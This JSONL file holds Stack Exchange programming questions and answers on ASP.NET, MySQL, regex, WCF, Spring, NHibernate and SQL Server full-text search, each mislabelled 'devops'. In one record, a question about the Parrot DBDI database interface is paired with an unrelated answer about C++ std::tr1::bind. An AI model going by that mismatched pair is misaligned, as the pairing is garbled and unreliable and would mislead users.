{"id": "hf_942a71ddcd07", "question": "<p>Is there any way to set an event handler without doing it manually in the classname.designer.cs file other than double clicking the UI element?</p>\n", "question_body": "", "answer": "If I follow your question correctly, you can just do it in your code-behind like this:\n```\n```\nmyButton.Click += myHandler;\n```\n```\nOr you could use an anonymous delegate:\n```\n```\nmyButton.Click += delegate\n{\n    MessageBox.Show(\"Clicked!\");\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.024625"}
{"id": "hf_c4785fa34c59", "question": "<p>How do you control the column width in a gridview control in ASP.NET 2.0?</p>\n", "question_body": "", "answer": "I do it using the header style for the column:\n```\n```\n<asp:BoundField HeaderText=\"Name\" DataField=\"LastName\">\n   <HeaderStyle Width=\"20em\" />\n</asp:BoundField>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.047364"}
{"id": "hf_e2da6695abfc", "question": "<p>Where can I find pascal-style railroad diagrams to describe C++ syntax?\n(As an alternative to EBNF)</p>\n", "question_body": "", "answer": "There don't exist any, as far as I know. The C++ syntax can't even be expressed in a proper EBNF - it's a context-sensitive grammar, and anything attempting to parse it has to be capable of processing C++ code at least as far as template instantiation and overload resolution (not to mention macros).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.071010"}
{"id": "hf_cb8a3d552c2c", "question": "<p>I'm try to extract info from a MySQL DB into a MS SQL DB. The DB is a mess and the developer is no longer available.</p>\n\n<p>All dates are in char fields, and I use </p>\n\n<pre><code>SELECT concat( mid(DueDate, 7, 4), mid(DueDate, 4, 2), mid(DueDate, 1, 2)) as DueDate FROM TableName\n</code></pre>\n\n<p>to get the date field in a format so MS sql server can import them.</p>\n\n<p>Now, I want to export only the record with the date greater than today, so the questions are:</p>\n\n<ul>\n<li>What is the equivalent of GetDate() in MySQL?</li>\n<li>Is there a better way to cast the date to make the comparison?</li>\n</ul>\n", "question_body": "", "answer": "In MySQL you can convert a string to a date using the\nSTR_TO_DATE\nfunction.\nAn example usage is:\n```\n```\nmysql> SELECT STR_TO_DATE('04/31/2004', '%m/%d/%Y');\n        -> '2004-04-31'\n```\n```\nTo get the current date in MySQL simply use the NOW() function. You can then check if a parsed date is later than today using something like\n```\n```\nWHERE STR_TO_DATE('04/31/2009', '%m/%d/%Y') > NOW()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.094015"}
{"id": "hf_62529c078275", "question": "<p>Wondering how to open many new windows with Javascript.  I have found plenty of places on the internet that show you how to open a new browser window with Javascript, but I want to open a new UNIQUE window.  For Example.</p>\n\n<p>I have two links on a page.  the user clicks on both links and they are both opened in the same window.  I want each link to open a new window WITH JAVASCRIPT.</p>\n\n<p>Another Example.\n<strong>I just opened a window with javascript and I have a link inside my newly opened window.  I click on the link and it opens in the same window.  I want to pop it out of that window WITH JAVASCRIPT, NOT use the same window.</strong></p>\n\n<p>Help?</p>\n", "question_body": "", "answer": "```\n```\nwindow.open('page.html','WindowTitle','width=400,height=200')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.239670"}
{"id": "hf_09c0cdea889a", "question": "<p>Is it only to allow logical grouping?</p>\n", "question_body": "", "answer": "It gives you flexibility. For example, you might have a bunch of constructors, some public, some protected, some private - wouldn't you want them all grouped together?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.264399"}
{"id": "hf_b1774b41c8fb", "question": "<p>Need to an expression that returns only things with an \"I\" followed by either a \"J\" or a \"V\" (No Quotes) and then a minimum of 1 number up to 3 numbers.</p>\n\n<p>I J### <br />\nI V### <br />\nI J## <br />\nI V## <br />\nI J# <br />\nI v# <br /></p>\n", "question_body": "", "answer": "Depends on your flavor\n```\n```\nI(J|V)[0-9]{1,3}\n```\n```\nDo you also need a space after an \"I\"?\n```\n```\nI (J|V)[0-9]{1,3}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.314168"}
{"id": "hf_af09ffe9fc45", "question": "<p>Is it possible to catch an error when using JSONP with jQuery? I've tried both the $.getJSON and $.ajax methods but neither will catch the 404 error I'm testing. Here is what I've tried (keep in mind that these all work successfully, but I want to handle the case when it fails):</p>\n\n<pre><code>jQuery.ajax({\n    type: \"GET\",\n    url: handlerURL,\n    dataType: \"jsonp\",\n    success: function(results){\n        alert(\"Success!\");\n    },\n    error: function(XMLHttpRequest, textStatus, errorThrown){\n        alert(\"Error\");\n    }\n});\n</code></pre>\n\n<p>And also:</p>\n\n<pre><code>jQuery.getJSON(handlerURL + \"&amp;callback=?\", \n    function(jsonResult){\n        alert(\"Success!\");\n    });\n</code></pre>\n\n<p>I've also tried adding the $.ajaxError but that didn't work either:</p>\n\n<pre><code>jQuery(document).ajaxError(function(event, request, settings){\n   alert(\"Error\");\n});\n</code></pre>\n\n<p>Thanks in advance for any replies!</p>\n", "question_body": "", "answer": "It seems that JSONP requests that don't return a successful result never trigger any event, success or failure, and for better or worse that's apparently by design.\nAfter searching their bug tracker, there's\na patch\nwhich may be a possible solution using a timeout callback.  See\nbug report #3442\n.  If you can't capture the error, you can at least timeout after waiting a reasonable amount of time for success.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.375063"}
{"id": "hf_4d5af86fded5", "question": "<p>How do I learn PLC programming? Would it differ greatly for different brands of PLCs? Is ladder programming the same as PLC programming?</p>\n", "question_body": "", "answer": "PLC is the term used for the devices that use ladder logic.  The devices that are programmed in more typical programming languages are generally called microcontrollers.  However, there are some of us that on occasion lump them all under the PLC name.  :-)  Not sure how much ladder logic varies, but microcontroller code can vary significantly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.399568"}
{"id": "hf_718efdea6060", "question": "<p>Is a cfront tool available for the new C++? For any other modern languages?</p>\n", "question_body": "", "answer": "What do you mean by “cfront tool”? Cfront was the first C++ compiler. But since failure to add exception support,\nit has been discontinued\n. Modern C++ is way beyond the scope of Cfront.\nFor any other modern languages?\nAnd what do you mean by that? If you mean whether other compilers exist that compile a high-level language into C code then the answer is yes, there are plenty. The\nGlasgow Haskell Compiler\nis just one out of many.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.451419"}
{"id": "hf_afcb50ea5386", "question": "<p>Is there any GUI-based tools to assist you with writing and maintaining the configuration file? Any code tools to codegen the config file? What are the best ways to make this a little bit easier? Are most people just using Castle ActiveRecord now?</p>\n", "question_body": "", "answer": "I'm just learning NHibernate myself (from the\nexcellent Summer of NHibernate\nseries).  I don't know of any GUI tools, but I thought that I'd point out that if you install the NHibernate schmema files (found in the root folder of the installation) to C:\\Program Files\\Microsoft Visual Studio 9.0\\Xml\\Schemas, you then get intellisense help with both the general configuration file and the mapping configuration file.  I found that to be a big help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.523407"}
{"id": "hf_3b6f43731a38", "question": "<p>I am using Borland Builder C++ 2009. I want to add a button to a form that allows the user to open a file in Excel that I specify. I can't think of how to do this. I know how to link with other code and executables -- is there a Microsoft Excel executable that I could use? How could I specify the file then? Any hints on this, or at least a place to look online, would be greatly appreciated.</p>\n", "question_body": "", "answer": "Assuming that the file type is registered with Excel, you could call ShellExecute() on the file, using the \"open\" verb. This will cause the file to be opened as if double clicked by the user in Explorer and will invoke Excel.\nIf that isn't the case, and you can assume that Excel is installed, you could instead pass \"excel\" to ShellExecute() as the application, and the path of the file as the parameter. (Note that I didn't test this, but it worked from the Run dialog, so I think that it should work from ShellExecute() as well).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.547881"}
{"id": "hf_e150a628c3a6", "question": "<p>When printing a single character in a C program, must I use \"%1s\" in the format string? Can I use something like \"%c\"?</p>\n", "question_body": "", "answer": "yes,\n```\n%c\n```\nwill print a single char:\n```\n```\nprintf(\"%c\", 'h');\n```\n```\nalso,\n```\nputchar\n```\n/\n```\nputc\n```\nwill work too. From \"man putchar\":\n```\n```\n#include <stdio.h>\n\nint fputc(int c, FILE *stream);\nint putc(int c, FILE *stream);\nint putchar(int c);\n\n* fputc() writes the character c, cast to an unsigned char, to stream.\n* putc() is equivalent to fputc() except that it may be implemented as a macro which evaluates stream more than once.\n* putchar(c); is equivalent to putc(c,stdout).\n```\n```\nEDIT:\nAlso note, that if you have a string, to output a single char, you need get the character in the string that you want to output. For example:\n```\n```\nconst char *h = \"hello world\";\nprintf(\"%c\\n\", h[4]); /* outputs an 'o' character */\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.571584"}
{"id": "hf_aff74c9ae2ac", "question": "<p>I can handle the process that file part, but before I go crazy, has someone built a simple wcf service &amp; client (running under windows services or IIS) that I can use to upload a file, and download that file back? with the fewest lines of code? (C# or VB)</p>\n\n<p>compression &amp; encryption would be cool, but i'll layer that on later!!</p>\n\n<p>Thanks!!</p>\n", "question_body": "", "answer": "You should be able to do this fairly easily.  The service contract would probably look like this:\n```\n```\n[ServiceContract]\npublic interface IFileService\n{\n  [OperationContract]\n  byte[] ProcessFile(byte[] FileData);\n}\n```\n```\nThe encryption part could be handled natively by WCF using transport level security.  I don't believe that WCF supports compression directly, but you could add that using the GZipStream class.\nI have not built a file handling service as you describe, but I have built a service that handles byte array data that is passed back and forth between a WCF client and service.  It works just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.643750"}
{"id": "hf_d5b2873eca46", "question": "<p>In the tradition of <a href=\"https://stackoverflow.com/questions/309492/user-defined-functions-sql-server-2005-flagged-incorrectly-as-non-deterministic\">this question</a> and in light of <a href=\"http://msdn.microsoft.com/en-us/library/ms178091(SQL.90).aspx\" rel=\"nofollow noreferrer\">the documentation</a>, how does one make this function deterministic:</p>\n\n<pre><code>ALTER FUNCTION [udf_DateTimeFromDataDtID]\n(\n    @DATA_DT_ID int -- In form YYYYMMDD\n)\nRETURNS datetime\nWITH SCHEMABINDING\nAS\nBEGIN\n    RETURN CONVERT(datetime, CONVERT(varchar, @DATA_DT_ID))\nEND\n</code></pre>\n\n<p>Or this one (because of the string/date literals - and yes, I've also tried '1900-01-01'):</p>\n\n<pre><code>ALTER FUNCTION udf_CappedDate\n(\n    @DateTimeIn datetime\n)\nRETURNS datetime\nWITH SCHEMABINDING\nAS\nBEGIN\n    IF @DateTimeIn &lt; '1/1/1900'\n        RETURN '1/1/1900'\n    ELSE IF @DateTimeIn &gt; '1/1/2100'\n        RETURN '1/1/2100'\n\n    RETURN @DateTimeIn\nEND\n</code></pre>\n", "question_body": "", "answer": "From the articles you linked:\nTo be deterministic, the style parameter must be a constant. Additionally, styles less than or equal to 100 are nondeterministic, except for styles 20 and 21. Styles greater than 100 are deterministic, except for styles 106, 107, 109 and 113.\nYou need to use a style parameter in your conversions to datetime.\nFor example:\n```\n```\nCONVERT(datetime, '2008-01-01', 121)\n```\n```\nExcept don't use 121...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.680142"}
{"id": "hf_f1c67e722805", "question": "<p>I am writing a script which is likely to be modified by users. Currently I am storing the configuration settings inside the script. It exists in the form of a hash-of-hashes.</p>\n\n<p>I would like to guard against people accidentally using lowercase characters in the hash keys, because that will break my script.</p>\n\n<p>It would be simple to inspect the hash keys and merely issue warnings for any keys with lowercase characters, but I would rather fix the case sensitivity automatically.</p>\n\n<p>In other words, I want to convert all the hash keys in the top-level hash to uppercase.</p>\n", "question_body": "", "answer": "Walk through the hash and replace any lowercase keys with their uppercase equivalents, and delete the old ones.  Roughly:\n```\n```\nfor my $key ( grep { uc($_) ne $_ } keys %hash ) {\n    my $newkey = uc $key;\n    $hash{$newkey} = delete $hash{$key};\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.730504"}
{"id": "hf_f2dbeff7af4a", "question": "<p><strong>Caveat:</strong>\nI try all the posibilities listed here: <a href=\"https://stackoverflow.com/questions/254002/how-can-i-ignore-everything-under-a-folder-in-mercurial\">How can I ignore everything under a folder in Mercurial</a>.<br>\nNone works as I hope.  </p>\n\n<p>I want to ignore every thing under the folder <code>test</code>. But not ignore <code>srcProject\\test\\TestManager</code>  </p>\n\n<p>I try</p>\n\n<pre><code>syntax: glob\ntest/**\n</code></pre>\n\n<p>And it ignores <code>test</code> and <code>srcProject\\test\\TestManager</code></p>\n\n<p>With:</p>\n\n<pre><code>syntax: regexp\n^/test/\n</code></pre>\n\n<p>It's the same thing.</p>\n\n<p>Also with:</p>\n\n<pre><code>syntax: regexp\ntest\\\\*\n</code></pre>\n\n<p>I have install TortoiseHG 0.4rc2 with Mercurial-626cb86a6523+tortoisehg, Python-2.5.1, PyGTK-2.10.6, GTK-2.10.11 in Windows</p>\n", "question_body": "", "answer": "You can use zero-width negative look-ahead and look-behind assertions to specify that you want to ignore\n```\ntest\n```\nonly when it's not preceded by\n```\nsrcProject\n```\nand not followed by\n```\nTestManager\n```\n:\n```\n```\nsyntax: regexp\n(?<!srcProject\\\\)test\\\\(?!TestManager)\n```\n```\nMercurial uses Python regular expressions, so you can find more info on zero-width assertions in the Python docs:\nhttps://docs.python.org/library/re.html#regular-expression-syntax", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.755431"}
{"id": "hf_194fd8c730cc", "question": "<p>In HTML in the td of a table you can break text by using <code>&lt;BR&gt;</code> between the words. This also works in the HeaderText of a TemplateItem but not the HeaderText of a BoundField. How do I  break up the Header text of a BoundField.</p>\n", "question_body": "", "answer": "Set\n```\nHtmlEncode = false\n```\ninside the\n```\nBoundField\n```\n```\n```\n<asp:BoundField DataField=\"SomeDataField\" \n        HeaderText=\"SomeHeader<br />(OtherData)\" \n        HtmlEncode=\"false\" />\n```\n```\n```\nBoundField.HtmlEncode\n```\nis true by default which means that if HTML is added in the text it will be encoded.\nIf HtmlEncode is set to false the text is not encoded and the br will work as expected. Unfortunately is not possible to specify this only for the header text, it will affect the cell contents as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.793438"}
{"id": "hf_980744f0a442", "question": "<p>I'm experimenting with WCF Services, and have come across a problem with passing Interfaces.</p>\n\n<p>This works:</p>\n\n<pre><code>[ServiceContract]\npublic interface IHomeService\n{\n    [OperationContract]\n    string GetString();\n}\n</code></pre>\n\n<p>but this doesn't:</p>\n\n<pre><code>[ServiceContract]\npublic interface IHomeService\n{\n    [OperationContract]\n    IDevice GetInterface();\n}\n</code></pre>\n\n<p>When I try to compile the client it fails on the GetInterface method. I get an Exception saying that it can't convert Object to IDevice.</p>\n\n<p>On the clientside the IHomeService class correctly implements GetString with a string as it's returntype, but the GetInterface has a returntype of object. Why isn't it IDevice?</p>\n", "question_body": "", "answer": "You need to tell the WCF serializer which class to use to serialize the interface\n```\n```\n[ServiceKnownType(typeof(ConcreteDeviceType)]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.831567"}
{"id": "hf_47dd1025fc8f", "question": "<p>At the XmlSerializer constructor line the below causes an InvalidOperationException which also complains about not having a default accesor implemented for the generic type.</p>\n\n<pre><code>Queue&lt;MyData&gt; myDataQueue = new Queue&lt;MyData&gt;();\n\n// Populate the queue here\n\n\nXmlSerializer mySerializer =\n  new XmlSerializer(myDataQueue.GetType());    \n\nStreamWriter myWriter = new StreamWriter(\"myData.xml\");\nmySerializer.Serialize(myWriter, myDataQueue);\nmyWriter.Close();\n</code></pre>\n", "question_body": "", "answer": "It would be easier (and more appropriate IMO) to serialize the\ndata\nfrom the queue - perhaps in a flat array or\n```\nList<T>\n```\n. Since\n```\nQueue<T>\n```\nimplements\n```\nIEnumerable<T>\n```\n, you should be able to use:\n```\n```\nList<T> list = new List<T>(queue);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.880350"}
{"id": "hf_a7828e43688f", "question": "<p>My log file is:</p>\n\n<pre><code> Wed Nov 12 blah blah blah blah cat1\n Wed Nov 12 blah blah blah blah\n Wed Nov 12 blah blah blah blah \n Wed Nov 12 blah blah blah blah cat2\n     more blah blah\n     even more blah blah\n Wed Nov 12 blah blah blah blah cat3\n Wed Nov 12 blah blah blah blah cat4\n</code></pre>\n\n<p>I want to parse out the full multiline entries where cat is found on the first line. What's the best way to do this in <code>sed</code> and/or <code>awk</code>?</p>\n\n<p>i.e. i want my parse to produce:</p>\n\n<pre><code> Wed Nov 12 blah blah blah blah cat1\n Wed Nov 12 blah blah blah blah cat2\n     more blah blah\n     even more blah blah\n Wed Nov 12 blah blah blah blah cat3\n Wed Nov 12 blah blah blah blah cat4\n</code></pre>\n", "question_body": "", "answer": "Assuming your log file does not contain the control characters\n```\n'\\01'\n```\nand\n```\n'\\02'\n```\n, and that a continued line begins with precisely four spaces, the following might work:\n```\n```\nc1=`echo -en '\\01'`\nc2=`echo -en '\\02'`\ncat logfile | tr '\\n' $c1 | sed \"s/$c1    /$c2/g\" | sed \"s/$c1/\\n/g\" | grep cat | sed \"s/$c2/\\n    /g\"\n```\n```\nExplanation: this replaces each newline with ASCII 1 (a control character that should never appear in a log file) and each sequence \"newline-space-space-space-space\" with ASCII 2 (another control character).  It then re-replaces ASCII 1 with newlines, so now each sequence of multiple lines is put into one line, with the old line breaks replaced by ASCII 2.  This is grepped for cat, and then the ASCII 2's are re-replaced with the newline-space-space-space-space combination.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.920354"}
{"id": "hf_f0f4a5b89d5b", "question": "<p>I am battling regular expressions now as I type. </p>\n\n<p>I would like to determine a pattern for the following example file: <code>b410cv11_test.ext</code>. I want to be able to do a search for files that match the pattern of the example file aforementioned. Where do I start (so lost and confused) and what is the best way of arriving at a solution that best matches the file pattern? Thanks in advance. </p>\n\n<p><strong><em>Further clarification of question:</em></strong></p>\n\n<p>I would like the pattern to be as follows: must start with 'b', followed by three digits, followed by 'cv', followed by two digits, then an underscore, followed by 'release', followed by .'ext'</p>\n", "question_body": "", "answer": "To avoid confusion, read the following, in order.\nFirst, you have the\nglob\nmodule, which handles file name regular expressions just like the Windows and unix shells.\nSecond, you have the\nfnmatch\nmodule, which just does pattern matching using the unix shell rules.\nThird, you have the\nre\nmodule, which is the complete set of regular expressions.\nThen ask another, more specific question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.956832"}
{"id": "hf_23096bdcc174", "question": "<p>I'm an end-user of one of my company's products. It is not very suitable for integration into Spring, however I am able to get a handle on the context and retrieve the required bean by name.  However, I would still like to know if it was possible to inject a bean into this class, even though the class is not managed by Spring itself.</p>\n\n<p>Clarification: The same application which is managing the lifecycle of some class MyClass, is also managing the lifecycle of the Spring context. Spring does not have any knowledge of the instance of MyClass, and I would like to some how provide the instance to the context, but cannot create the instance in the context itself.</p>\n", "question_body": "", "answer": "suppose that u have the following dependency chain:\nA --> B --> C --> x --> y -- > Z\nA, B, C are spring managed beans (constructed and manged  by spring framework)\nx, y are really simple POJOs that constructed by your application, without spring assistance\nnow if you want that y will get a reference to Z using spring that you need to have a 'handle' to the spring ApplicationContext\none way to do it is to implement\nApplicationContextAware\ninterface . In this case I would suggest that either A, B or C will implement this interface and will store the applicationContext reference in a static member.\nso lets take Class C for example:\n```\n```\nclass C implmenets ApplicationContextAware{\n    public static ApplicationContex ac;\n     void setApplicationContext(ApplicationContext applicationContext)  {\n               ac = applicationContext;\n     }\n .............\n}\n```\n```\nnow, in class y you should have:\n```\n```\n(Z)(C.ac.getBean(\"classZ\")).doSomething()\n```\n```\nHTH -- Yonatan", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.067908"}
{"id": "hf_7fdd9899faf9", "question": "<p>The default behavior of NHibernate is the write all changes to objects to the database when Session.Flush() is called. It does this whether you want it to or not.</p>\n\n<p>How do we prevent writing bad data to the database when we need to do things like validate business rules or input?</p>\n\n<p>For instance .. </p>\n\n<ul>\n<li>Customer Name is not null. </li>\n<li>User opens a web browser (without javascript) and deletes the customer name. </li>\n<li>Hits update. </li>\n<li><code>Customer.Name</code> property is updated and .. </li>\n<li><code>Customer.IsValid()</code> is called. </li>\n<li>Even if <code>IsValid()</code> is false and we show error messages NHibernate still updates the database.</li>\n</ul>\n", "question_body": "", "answer": "Use the ISession.Evict(objectToEvict) method to evict invalid objects.\nSee:\nhttp://www.tobinharris.com/2007/2/3/nhibernate-faq\nand\nhttp://www.surcombe.com/nhibernate-1.2/api/html/M_NHibernate_ISession_Evict.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.116717"}
{"id": "hf_df57ba327313", "question": "<p>A quick search gave me this <a href=\"http://www.mail-archive.com/dbdi-dev@perl.org/msg00002.html\" rel=\"nofollow noreferrer\">announcement of Parrot DBDI</a> from January 2004 and a <a href=\"http://www.mail-archive.com/dbdi-dev@perl.org/\" rel=\"nofollow noreferrer\">dbdi-dev mailing list</a> which appears to be long dead. Is Parrot DBDI still being developed? Is anyone working on a different database API or interface for Parrot?</p>\n", "question_body": "", "answer": "The lookup is done at a time when the constness of\n```\nthis\n```\nis not known.  You just have to give it a hint via casting.  Try this:\n```\n```\ntypedef void (abc::*fptr)(int) const; // or remove const\nstd::tr1::bind((fptr)&abc::hello, x , _1)(a);\n```\n```\nYou may also notice here that removing the\n```\nconst\n```\nstill works.  This is because you should be passing x by pointer (because the first argument to a C++ member function, the implicit\n```\nthis\n```\nparameter, is always a pointer).  Try this instead:\n```\n```\ntypedef void (abc::*fptr)(int) const; // won't compile without const (good!)\nstd::tr1::bind((fptr)&abc::hello, &x , _1)(a);\n```\n```\nAs discovered during within my comments below, if you omit the\n```\n&\n```\nas you originally did, you'll be passing x\nby value\n, which is usually not what you want (though it makes little practical difference in your particular example).  This actually seems like an unfortunate pitfall for\n```\nbind\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.182793"}
{"id": "hf_54101bff7169", "question": "<p>Currently I have a table that I search upon 4 fields, FirstName, LastName, MiddleName, And AKA's. I currently have a <strong>CONTAINSTABLE</strong> search for the rows and it works. Not well but it works. Now <strong>I want to make the First Name weighted higher and middle name lower.</strong></p>\n\n<p>I found the command <strong>ISABOUT</strong> but that seems pretty worthless if I have to do it by word not column (hopefully I understood this wrong). This is not an option if its by word because I do not know how many words the user will enter.</p>\n\n<p>I found the thread <a href=\"https://stackoverflow.com/questions/198152/how-do-i-assign-weights-to-different-columns-in-a-full-text-search\">here</a> that talks about this same solution however I was unable to get the accepted solution to work. Maybe I have done something wrong but regardless I cannot get it to work, and its logic seems really... odd. There has to be an easier way. </p>\n", "question_body": "", "answer": "The key to manipulating the rankings is to use a union.  For each column you use a separate select statement.  In that statement, add an identifier that shows from which column each row was pulled then.  Insert the results into a table variable, then you can manipulate the ranking by sorting on the identifier or multiplying the rank by some value based on the identifier.\nThe key is to give the appearance of modifying the ranking, not to actually change sql server's ranking.\nExample using a table variable:\n```\n```\nDECLARE @Results TABLE (PersonId Int, Rank Int, Source Int)\n```\n```\nFor table People with Columns\n```\nPersonId Int PK Identity, FirstName VarChar(100), MiddleName VarChar(100), LastName VarChar(100), AlsoKnown VarChar(100)\n```\nwith each column added to a full text catalog, you could use the query:\n```\n```\nINSERT INTO @Results (PersonId, Rank, Source)\n\nSELECT PersonId, Rank, 1\nFROM ContainsTable(People, FirstName, @SearchValue) CT INNER JOIN People P ON CT.Key = P.PersonId\n\nUNION\nSELECT PersonId, Rank, 2\nFROM ContainsTable(People, MiddleName, @SearchValue) CT INNER JOIN People P ON CT.Key = P.PersonId\n\nUNION\nSELECT PersonId, Rank, 3\nFROM ContainsTable(People, LastName, @SearchValue) CT INNER JOIN People P ON CT.Key = P.PersonId\n\nUNION\nSELECT PersonId, Rank, 4\nFROM ContainsTable(People, AlsoKnown, @SearchValue) CT INNER JOIN People P ON CT.Key = P.PersonId\n\n/*\nNow that the results from above are in the @Results table, you can manipulate the\nrankings in one of several ways, the simplest is to pull the results ordered first by Source then by Rank.  Of course you would probably join to the People table to pull the name fields.\n*/\n\nSELECT PersonId\nFROM @Results\nORDER BY Source, Rank DESC\n\n/*\nA more complex manipulation would use a statement to multiply the ranking \nby a value above 1 (to increase rank) or less than 1 (to lower rank), then \nreturn results based on the new rank.  This provides more fine tuning, \nsince I could make first name 10% higher and middle name 15% lower and \nleave last name and also known the original value.\n*/\n\nSELECT PersonId, CASE Source WHEN 1 THEN Rank * 1.1 WHEN 2 THEN Rank * .9 ELSE Rank END AS NewRank FROM @Results\nORDER BY NewRank DESC\n```\n```\nThe one downside is you'll notice I didn't use\n```\nUNION ALL\n```\n, so if a word appears in more than one column, the rank won't reflect that.  If that's an issue you could use\n```\nUNION ALL\n```\nand then remove duplicate person id's by adding all or part of the duplicate record's rank to the rank of another record with the same person id.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:16.302941"}
